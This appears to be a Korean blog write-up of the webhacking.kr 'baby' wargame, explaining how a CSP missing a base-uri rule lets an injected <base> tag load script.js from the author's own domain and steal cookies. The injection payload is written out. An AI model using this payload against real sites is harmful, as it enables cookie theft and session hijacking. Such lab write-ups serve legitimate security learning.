Sechack
webhacking.kr baby 풀이 본문
딱봐도 xss문제인 baby문제이다.
일단 태그 인젝션이 가능한게 확인되었다.
하지만 <script>태그로 alert를 해주려고 하면 실행이 되지 않는다. 왜그런가 봤더니
Content-Security-Policy: script-src 'nonce-zwsN5tzvG9CmVOzxy0Cabi3ioXs=';
다음과 같이 csp가 설정되어있는것을 볼 수 있다. 따라서 xss공격이 방어가 된다. 하지만 얼핏보면 안전해보이는 저 csp에 큰 문제점이 하나 있다. 바로 base태그에 대한 정책이 누락되어 있다는것이다. 따라서 태그 삽입이 가능하므로 우리는 base태그를 이용해서 base url값을 맘대로 설정할 수 있다.
페이지 소스코드를 보면 /script.js를 로드하는것을 볼 수 있다. 그러면 임의의 웹사이트를 하나 판 뒤에 /script.js에 원하는 javascript코드를 삽입하고 base태그를 우리가 만들어둔 임의의 웹사이트로 바꾸면 원하는 javascript실행이 가능하게 된다. 이걸 이용해서 csp를 우회하고 xss공격을 수행할 수 있게 된다.
사이트는 간단하게 github를 이용해서 만들었다. 하지만 그냥하면 sechack06.github.io/baby/ 이런식으로 Repository이름이 포함된 디렉터리가 url이 되어버린다. 따라서 sechack06.github.io/baby/script.js를 로드해야하는데 코드에서는 /script.js 즉 최상위 디렉터리를 참조하니까 그냥하면 안된다. 따라서 나는 내도메인.한국 이라는 사이트를 이용해서
triggerxss.kro.kr이라는 도메인을 생성한뒤에 github도메인을 연결해서 해결했다.
최종적으로는
?inject=<base href=//triggerxss.kro.kr/>
이런식으로 base태그를 이용해서 설정하게 되면 triggerxss.kro.kr/script.js를 로드하게 되면서 원하는 javascript실행이 가능해지고 쿠키탈취가 가능하다.
성공적으로 쿠키가 탈취되었다.
'Wargame' 카테고리의 다른 글
webhacking.kr CHILD 풀이 (0) | 2021.07.09 |
---|---|
webhacking.kr RPG1 풀이 (0) | 2021.07.08 |
HackCTF - Let'S get it ! Boo*4 풀이 (0) | 2021.06.08 |
HackCTF - 잔상 풀이 (0) | 2021.06.08 |
HackCTF - 나는 해귀다 풀이 (0) | 2021.06.08 |